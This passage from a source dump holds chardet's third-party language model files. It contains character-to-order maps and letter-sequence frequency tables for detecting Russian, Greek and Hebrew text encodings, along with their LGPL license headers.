0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,0,2,3,1,2,2,2,2,2,2,1,1,0,0,0,1,0,1,0,2,1,1,1,0,0,0,0,1, 1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, 2,0,2,0,0,1,0,3,2,1,2,1,2,2,0,1,0,0,0,2,1,0,0,2,1,1,1,1,0,2,0,2, 2,1,1,1,1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1, 1,2,2,2,2,1,0,0,1,0,0,0,0,0,2,0,1,1,1,1,0,0,0,0,1,0,1,2,0,0,2,0, 1,0,1,1,1,2,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0, 2,1,2,2,2,0,3,0,1,1,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0, 1,2,2,3,2,2,0,0,1,1,2,0,1,2,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1, 0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, 2,2,1,1,2,1,2,2,2,2,2,1,2,2,0,1,0,0,0,1,2,2,2,1,2,1,1,1,1,1,2,1, 1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1, 1,2,2,2,2,0,1,0,2,2,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0, 0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,2,0,0,0,2,2,2,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1, 0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,2,0,0,0,0,1,0,0,1,1,2,0,0,0,0,1,0,1,0,0,1,0,0,2,0,0,0,1, 0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,1,1,2,0,2,1,1,1,1,0,2,2,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1, 0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 1,0,2,1,2,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0, 0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, 1,0,0,0,0,2,0,1,2,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1, 0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1, 2,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0, 0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, ) Koi8rModel = { 'char_to_order_map': KOI8R_char_to_order_map, 'precedence_matrix': RussianLangModel, 'typical_positive_ratio': 0.976601, 'keep_english_letter': False, 'charset_name': "KOI8-R", 'language': 'Russian', } Win1251CyrillicModel = { 'char_to_order_map': win1251_char_to_order_map, 'precedence_matrix': RussianLangModel, 'typical_positive_ratio': 0.976601, 'keep_english_letter': False, 'charset_name': "windows-1251", 'language': 'Russian', } Latin5CyrillicModel = { 'char_to_order_map': latin5_char_to_order_map, 'precedence_matrix': RussianLangModel, 'typical_positive_ratio': 0.976601, 'keep_english_letter': False, 'charset_name': "ISO-8859-5", 'language': 'Russian', } MacCyrillicModel = { 'char_to_order_map': macCyrillic_char_to_order_map, 'precedence_matrix': RussianLangModel, 'typical_positive_ratio': 0.976601, 'keep_english_letter': False, 'charset_name': "MacCyrillic", 'language': 'Russian', } Ibm866Model = { 'char_to_order_map': IBM866_char_to_order_map, 'precedence_matrix': RussianLangModel, 'typical_positive_ratio': 0.976601, 'keep_english_letter': False, 'charset_name': "IBM866", 'language': 'Russian', } Ibm855Model = { 'char_to_order_map': IBM855_char_to_order_map, 'precedence_matrix': RussianLangModel, 'typical_positive_ratio': 0.976601, 'keep_english_letter': False, 'charset_name': "IBM855", 'language': 'Russian', } ================================================ FILE: thirdparty/chardet/langgreekmodel.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: Latin7_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, # 40 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, # 50 253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, # 60 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, # 70 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 80 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 90 253,233, 90,253,253,253,253,253,253,253,253,253,253, 74,253,253, # a0 253,253,253,253,247,248, 61, 36, 46, 71, 73,253, 54,253,108,123, # b0 110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, # c0 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, # d0 124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, # e0 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 ) win1253_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, # 40 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, # 50 253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, # 60 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, # 70 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 80 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 90 253,233, 61,253,253,253,253,253,253,253,253,253,253, 74,253,253, # a0 253,253,253,253,247,253,253, 36, 46, 71, 73,253, 54,253,108,123, # b0 110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, # c0 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, # d0 124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, # e0 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 ) # Model Table: # total sequences: 100% # first 512 sequences: 98.2851% # first 1024 sequences:1.7001% # rest sequences: 0.0359% # negative sequences: 0.0148% GreekLangModel = ( 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,2,2,3,3,3,3,3,3,3,3,1,3,3,3,0,2,2,3,3,0,3,0,3,2,0,3,3,3,0, 3,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,0,3,3,0,3,2,3,3,0,3,2,3,3,3,0,0,3,0,3,0,3,3,2,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, 0,2,3,2,2,3,3,3,3,3,3,3,3,0,3,3,3,3,0,2,3,3,0,3,3,3,3,2,3,3,3,0, 2,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,2,1,3,3,3,3,2,3,3,2,3,3,2,0, 0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,2,3,3,0, 2,0,1,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,2,3,0,0,0,0,3,3,0,3,1,3,3,3,0,3,3,0,3,3,3,3,0,0,0,0, 2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,0,3,0,3,3,3,3,3,0,3,2,2,2,3,0,2,3,3,3,3,3,2,3,3,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,3,2,2,2,3,3,3,3,0,3,1,3,3,3,3,2,3,3,3,3,3,3,3,2,2,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,2,0,3,0,0,0,3,3,2,3,3,3,3,3,0,0,3,2,3,0,2,3,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,3,0,0,3,3,0,2,3,0,3,0,3,3,3,0,0,3,0,3,0,2,2,3,3,0,0, 0,0,1,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,2,0,3,2,3,3,3,3,0,3,3,3,3,3,0,3,3,2,3,2,3,3,2,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,2,3,2,3,3,3,3,3,3,0,2,3,2,3,2,2,2,3,2,3,3,2,3,0,2,2,2,3,0, 2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,0,0,0,3,3,3,2,3,3,0,0,3,0,3,0,0,0,3,2,0,3,0,3,0,0,2,0,2,0, 0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,0,0,0,3,3,0,3,3,3,0,0,1,2,3,0, 3,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,2,0,0,3,2,2,3,3,0,3,3,3,3,3,2,1,3,0,3,2,3,3,2,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,3,0,2,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,3,0,3,2,3,0,0,3,3,3,0, 3,0,0,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,0,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,2,0,3,2,3,0,0,3,2,3,0, 2,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,1,2,2,3,3,3,3,3,3,0,2,3,0,3,0,0,0,3,3,0,3,0,2,0,0,2,3,1,0, 2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,3,0,3,0,3,3,2,3,0,3,3,3,3,3,3,0,3,3,3,0,2,3,0,0,3,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,0,0,3,0,0,0,3,3,0,3,0,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,0,0,0,3,3,3,3,3,3,0,0,3,0,2,0,0,0,3,3,0,3,0,3,0,0,2,0,2,0, 0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,3,0,3,0,2,0,3,2,0,3,2,3,2,3,0,0,3,2,3,2,3,3,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,0,0,2,3,3,3,3,3,0,0,0,3,0,2,1,0,0,3,2,2,2,0,3,0,0,2,2,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,2,0,3,0,3,0,3,3,0,2,1,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,3,3,3,0,3,3,3,3,3,3,0,2,3,0,3,0,0,0,2,1,0,2,2,3,0,0,2,2,2,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,0,0,2,3,3,3,2,3,0,0,1,3,0,2,0,0,0,0,3,0,1,0,2,0,0,1,1,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,1,0,3,0,0,0,3,2,0,3,2,3,3,3,0,0,3,0,3,2,2,2,1,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,0,0,3,0,0,0,0,2,0,2,3,3,2,2,2,2,3,0,2,0,2,2,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,2,0,0,0,0,0,0,2,3,0,2,0,2,3,2,0,0,3,0,3,0,3,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,3,2,3,3,2,2,3,0,2,0,3,0,0,0,2,0,0,0,0,1,2,0,2,0,2,0, 0,2,0,2,0,2,2,0,0,1,0,2,2,2,0,2,2,2,0,2,2,2,0,0,2,0,0,1,0,0,0,0, 0,2,0,3,3,2,0,0,0,0,0,0,1,3,0,2,0,2,2,2,0,0,2,0,3,0,0,2,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,2,3,2,0,2,2,0,2,0,2,2,0,2,0,2,2,2,0,0,0,0,0,0,2,3,0,0,0,2, 0,1,2,0,0,0,0,2,2,0,0,0,2,1,0,2,2,0,0,0,0,0,0,1,0,2,0,0,0,0,0,0, 0,0,2,1,0,2,3,2,2,3,2,3,2,0,0,3,3,3,0,0,3,2,0,0,0,1,1,0,2,0,2,2, 0,2,0,2,0,2,2,0,0,2,0,2,2,2,0,2,2,2,2,0,0,2,0,0,0,2,0,1,0,0,0,0, 0,3,0,3,3,2,2,0,3,0,0,0,2,2,0,2,2,2,1,2,0,0,1,2,2,0,0,3,0,0,0,2, 0,1,2,0,0,0,1,2,0,0,0,0,0,0,0,2,2,0,1,0,0,2,0,0,0,2,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,3,3,2,2,0,0,0,2,0,2,3,3,0,2,0,0,0,0,0,0,2,2,2,0,2,2,0,2,0,2, 0,2,2,0,0,2,2,2,2,1,0,0,2,2,0,2,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0, 0,2,0,3,2,3,0,0,0,3,0,0,2,2,0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,0,2, 0,0,2,2,0,0,2,2,2,0,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,2,0,0,3,2,0,2,2,2,2,2,0,0,0,2,0,0,0,0,2,0,1,0,0,2,0,1,0,0,0, 0,2,2,2,0,2,2,0,1,2,0,2,2,2,0,2,2,2,2,1,2,2,0,0,2,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,2,0,2,0,2,2,0,0,0,0,1,2,1,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,3,2,3,0,0,2,0,0,0,2,2,0,2,0,0,0,1,0,0,2,0,2,0,2,2,0,0,0,0, 0,0,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0, 0,2,2,3,2,2,0,0,0,0,0,0,1,3,0,2,0,2,2,0,0,0,1,0,2,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,0,2,0,3,2,0,2,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 0,0,2,0,0,0,0,1,1,0,0,2,1,2,0,2,2,0,1,0,0,1,0,0,0,2,0,0,0,0,0,0, 0,3,0,2,2,2,0,0,2,0,0,0,2,0,0,0,2,3,0,2,0,0,0,0,0,0,2,2,0,0,0,2, 0,1,2,0,0,0,1,2,2,1,0,0,0,2,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,1,2,0,2,2,0,2,0,0,2,0,0,0,0,1,2,1,0,2,1,0,0,0,0,0,0,0,0,0,0, 0,0,2,0,0,0,3,1,2,2,0,2,0,0,0,0,2,0,0,0,2,0,0,3,0,0,0,0,2,2,2,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,1,0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,2, 0,2,2,0,0,2,2,2,2,2,0,1,2,0,0,0,2,2,0,1,0,2,0,0,2,2,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,0,0,0,0,2,0,2,0,0,0,0,2, 0,1,2,0,0,0,0,2,2,1,0,1,0,1,0,2,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0, 0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,2,0,0,2,2,0,0,0,0,1,0,0,0,0,0,0,2, 0,2,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0, 0,2,2,2,2,0,0,0,3,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,1, 0,0,2,0,0,0,0,1,2,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0, 0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,2,2,2,0,0,0,2,0,0,0,0,0,0,0,0,2, 0,0,1,0,0,0,0,2,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, 0,3,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,2, 0,0,2,0,0,0,0,2,2,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,0,2,2,1,0,0,0,0,0,0,2,0,0,2,0,2,2,2,0,0,0,0,0,0,2,0,0,0,0,2, 0,0,2,0,0,2,0,2,2,0,0,0,0,2,0,2,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0, 0,0,3,0,0,0,2,2,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0,0,0, 0,2,2,2,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1, 0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,2,0,0,0,2,0,0,0,0,0,1,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,2,0,0,0, 0,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,2,0,2,0,0,0, 0,0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,1,2,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ) Latin7GreekModel = { 'char_to_order_map': Latin7_char_to_order_map, 'precedence_matrix': GreekLangModel, 'typical_positive_ratio': 0.982851, 'keep_english_letter': False, 'charset_name': "ISO-8859-7", 'language': 'Greek', } Win1253GreekModel = { 'char_to_order_map': win1253_char_to_order_map, 'precedence_matrix': GreekLangModel, 'typical_positive_ratio': 0.982851, 'keep_english_letter': False, 'charset_name': "windows-1253", 'language': 'Greek', } ================================================ FILE: thirdparty/chardet/langhebrewmodel.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Simon Montagu # Portions created by the Initial Developer are Copyright (C) 2005 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # Shoshannah Forbes - original C code (?) # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Windows-1255 language model # Character Mapping Table: WIN1255_CHAR_TO_ORDER_MAP = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 69, 91, 79, 80, 92, 89, 97, 90, 68,111,112, 82, 73, 95, 85, # 40 78,121, 86, 71, 67,102,107, 84,114,103,115,253,253,253,253,253, # 50 253, 50, 74, 60, 61, 42, 76, 70, 64, 53,105, 93, 56, 65, 54, 49, # 60 66,110, 51, 43, 44, 63, 81, 77, 98, 75,108,253,253,253,253,253, # 70 124,202,203,204,205, 40, 58,206,207,208,209,210,211,212,213,214, 215, 83, 52, 47, 46, 72, 32, 94,216,113,217,109,218,219,220,221, 34,116,222,118,100,223,224,117,119,104,125,225,226, 87, 99,227, 106,122,123,228, 55,229,230,101,231,232,120,233, 48, 39, 57,234, 30, 59, 41, 88, 33, 37, 36, 31, 29, 35,235, 62, 28,236,126,237, 238, 38, 45,239,240,241,242,243,127,244,245,246,247,248,249,250, 9, 8, 20, 16, 3, 2, 24, 14, 22, 1, 25, 15, 4, 11, 6, 23, 12, 19, 13, 26, 18, 27, 21, 17, 7, 10, 5,251,252,128, 96,253, ) # Model Table: # total sequences: 100% # first 512 sequences: 98.4004% # first 1024 sequences: 1.5981% # rest sequences: 0.087% # negative sequences: 0.0015% HEBREW_LANG_MODEL = ( 0,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,3,2,1,2,0,1,0,0, 3,0,3,1,0,0,1,3,2,0,1,1,2,0,2,2,2,1,1,1,1,2,1,1,1,2,0,0,2,2,0,1, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2, 